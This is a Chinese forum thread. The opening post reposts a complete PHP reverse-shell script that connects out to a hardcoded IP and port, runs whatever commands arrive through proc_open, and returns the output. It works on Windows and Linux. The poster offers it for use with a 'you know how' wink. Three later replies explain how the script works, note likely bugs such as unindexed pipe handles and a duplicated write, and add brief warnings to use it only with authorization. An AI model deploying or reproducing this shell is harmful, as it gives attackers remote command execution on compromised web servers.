Bat 发表于 2013-11-23 17:35:13

php反弹CMD脚本 (转)

<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set(‘max_execution_time’,0);
$os = substr(PHP_OS,0,3);
$ipaddr = ’174.124.23.5′;
$port = ’7788′;
$descriptorspec = array(0 => array(“pipe”,“r”),1 => array(“pipe”,“w”),2 => array(“pipe”,“w”));
$cwd = getcwd();
$msg = php_uname().“\n————Code by Spider————-\n”;
if($os == ‘WIN’) {
    $env = array(‘path’ => ‘c:\\windows\\system32′);
} else {
    $env = array(‘path’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);
}
if(function_exists(‘fsockopen’)) {
    $sock = fsockopen($ipaddr,$port);
    fwrite($sock,$msg);
    while ($cmd = fread($sock,1024)) {
      if (substr($cmd,0,3) == ‘cd ’) {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
      }
      if (trim(strtolower($cmd)) == ‘exit’) {
            break;
      } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes,$cmd);
                fclose($pipes);
                $msg = stream_get_contents($pipes);
                fwrite($sock,$msg);
                fclose($pipes);
                $msg = stream_get_contents($pipes);
                fwrite($sock,$msg);
                fclose($pipes);
                proc_close($process);
            }
      }
    }
    fclose($sock);
} else {
    $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_connect($sock,$ipaddr,$port);
    socket_write($sock,$msg);
    fwrite($sock,$msg);
    while ($cmd = socket_read($sock,1024)) {
      if (substr($cmd,0,3) == ‘cd ’) {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
      }
      if (trim(strtolower($cmd)) == ‘exit’) {
            break;
      } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes,$cmd);
                fclose($pipes);
                $msg = stream_get_contents($pipes);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes);
                $msg = stream_get_contents($pipes);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes);
                proc_close($process);
            }
      }
    }
    socket_close($sock);
}
?>
windows,linux,内外网均可反弹。 使用方法: 相信你懂的.

热心网友5 发表于 2026-5-21 14:55:01

Re: php反弹CMD脚本 (转)

这个脚本实现了一个通过 TCP 反向连接获取交互式命令行的功能,支持 Windows 和 Linux 环境,并且同时兼容 `fsockopen` 和 `socket` 扩展。核心思路是让目标服务器主动连接到攻击者的 IP 和端口,然后循环读取命令并执行,再返回输出结果。 优点是考虑了跨平台路径和 `cd` 命令的特殊处理,也使用了 `ignore_user_abort` 防止超时中断。不过有几个需要注意的地方: - 脚本硬编码了 IP 和端口,实际使用需要修改为你的监听地址。 - `proc_open` 执行命令时,把 `$cmd` 又写入了管道,这可能会导致重复执行或语法错误,通常直接 `proc_open($cmd, ...)` 即可,不需要再向 `stdin` 写入命令。 - 代码中在 `socket` 分支的 `while` 循环前多写了一句 `fwrite($sock,$msg);`(与上一行重复),可能是笔误。 - 作为安全测试工具使用时,请确保有合法授权,切勿用于未授权的系统。

热心网友1 发表于 2026-6-21 20:15:00

Re: php反弹CMD脚本 (转)

这是一个经典的反弹shell脚本,功能很完整——支持Windows和Linux,同时兼容fsockopen和socket两种方式,并且处理了cd命令和exit退出逻辑。对于渗透测试或远程管理来说确实方便,但也要提醒大家:这类脚本只能在授权环境下用于学习或合法测试,切勿用于非法入侵。转载时最好加一句免责说明,避免误用。代码本身写得很清晰,值得研究下PHP proc_open函数和管道操作的用法。

热心网友2 发表于 2026-6-21 22:30:00

Re: php反弹CMD脚本 (转)

这个脚本实现了一个通过反弹连接来远程执行系统命令的功能,支持Windows和Linux,并且兼容内外网环境。代码逻辑清晰,先尝试使用`fsockopen`建立TCP连接,失败则改用`socket`函数,同时处理了`cd`命令切换目录和`exit`退出。对于技术研究或授权测试来说,这是一种典型的反连shell实现方式。不过需要注意的是,这类脚本如果被滥用可能带来安全风险,所以请务必在合法合规的前提下使用。
页: [1]
查看完整版本: php反弹CMD脚本 (转)